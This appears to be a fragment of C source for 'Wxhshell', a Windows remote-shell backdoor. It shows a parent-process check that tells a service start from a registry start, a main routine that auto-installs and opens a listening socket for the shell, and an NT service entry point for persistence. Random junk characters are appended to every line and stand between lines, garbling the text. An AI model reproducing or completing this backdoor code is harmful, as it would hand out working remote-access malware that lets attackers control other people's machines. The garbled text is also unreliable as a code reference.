} PROCESS_BASIC_INFORMATION; *sho/[~_
^URCnJ67Se
PROCNTQSIP NtQueryInformationProcess; mP(3[a_Q
^NW[)Dq1<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f-=\qSo
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :$ 5A3i
]rmBM
HANDLE hProcess;
5\- uo
PROCESS_BASIC_INFORMATION pbi; \U~4b_aN
S:\i
M:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c8qr-x1HG
if(NULL == hInst ) return 0; !liV Y]
$Gn.G_"v
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e%4?-{(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N+-Tp&:wY
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XZ
rI w
v0^9"V:y
if (!NtQueryInformationProcess) return 0; LSo!_tY
8!g
`bC#%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ::L2zVq5V
if(!hProcess) return 0; Nd_fjB
bQAznd0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KaGUpHw
) "#'
CloseHandle(hProcess); g8),$:Uw
adON&<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bQll;U^A
if(hProcess==NULL) return 0; ?Cq7_rq
ntiS7g e1
HMODULE hMod; ZO}Og&%
char procName[255]; #m+!<
unsigned long cbNeeded; l{3B}_,
t<%0eu|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8OfQ :
q^@*{H
CloseHandle(hProcess); yoi4w 7:
LHAlXo;
if(strstr(procName,"services")) return 1; // 以服务启动 Otn,UoeeB
?I.9?cQXZ
return 0; // 注册表启动 x^f<G
6z
} FB=oGgwwq
R{hX--|j
// 主模块 5:Qz
int StartWxhshell(LPSTR lpCmdLine) od;-D~
{ JuRoeq.
SOCKET wsl; 'Pz%c}hJ
BOOL val=TRUE; _Fb}zPU!
int port=0; 0QQss
struct sockaddr_in door; `h}eP[jA
yu?5t?vf
if(wscfg.ws_autoins) Install(); XGlt^<`
F c[KIG3@
port=atoi(lpCmdLine); $o"nTl
x^eu[olN
if(port<=0) port=wscfg.ws_port; l }{{7~C`
BT_]=\zi
WSADATA data; *2X6;~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~/:vr
h@)U,&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h#rP]o@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O--p)\
door.sin_family = AF_INET; wak 26W>I3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); x_PO;
door.sin_port = htons(port); 7AG|'s['=
,RP-)j"Wff
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gfk)`>E
closesocket(wsl); wAMg"ImJ
return 1; \lL[08G
} !+xQ
?}||?2=P
if(listen(wsl,2) == INVALID_SOCKET) { SNEhP5!
closesocket(wsl); c0Ug5Vr
return 1; pA7-B>Y
} <Ij!x`MS+
Wxhshell(wsl); 5'lVh/
WSACleanup(); K/4@2vF
dzcF15H1
return 0; ;!yK~OBxt
CjdM*#9lW
} ?z
,!iK`
*[MWvs:,
// 以NT服务方式启动 rK~-Wzwu
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ];r!
M0
{ {f*Y}/@
DWORD status = 0; \BOoY# !a
DWORD specificError = 0xfffffff; ,|%KlHo^
9rB3h`AVF
serviceStatus.dwServiceType = SERVICE_WIN32; FOaA}D `]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z0|5VLk,<{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pP\Cwo #,
serviceStatus.dwWin32ExitCode = 0; !3Dq)ebBz
serviceStatus.dwServiceSpecificExitCode = 0; 5zuwqOD*
serviceStatus.dwCheckPoint = 0; sYTz6-
serviceStatus.dwWaitHint = 0; lR(9;3
MB}nn&u#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l,ny=Q$[1'
if (hServiceStatusHandle==0) return; tzI|vVT,
,n|si#
status = GetLastError(); <y 4(!z"
if (status!=NO_ERROR) WR+j?Fcf
{ !0
7jr%-~
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5C w(
4.
serviceStatus.dwCheckPoint = 0; p^l#Wq5
serviceStatus.dwWaitHint = 0; uH_KOiF
serviceStatus.dwWin32ExitCode = status; 0Q3U\cDr
serviceStatus.dwServiceSpecificExitCode = specificError; PA2}4`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I2}W /}
return; N,t9X7G&
} m l`xLZN>L
UG1<Xfu|
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,f03TBD}
serviceStatus.dwCheckPoint = 0; OM'iJB6=
serviceStatus.dwWaitHint = 0; 8jK=A2pTa
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b[%@3 }E
} ZlV
$`pf!b2Z
// 处理NT服务事件,比如:启动、停止 UBo0c?,4
VOID WINAPI NTServiceHandler(DWORD fdwControl) S)CsH1Q
{ }2
S.
switch(fdwControl) HG]ARgOB
{ FlO?E3d
case SERVICE_CONTROL_STOP: h*%p%t<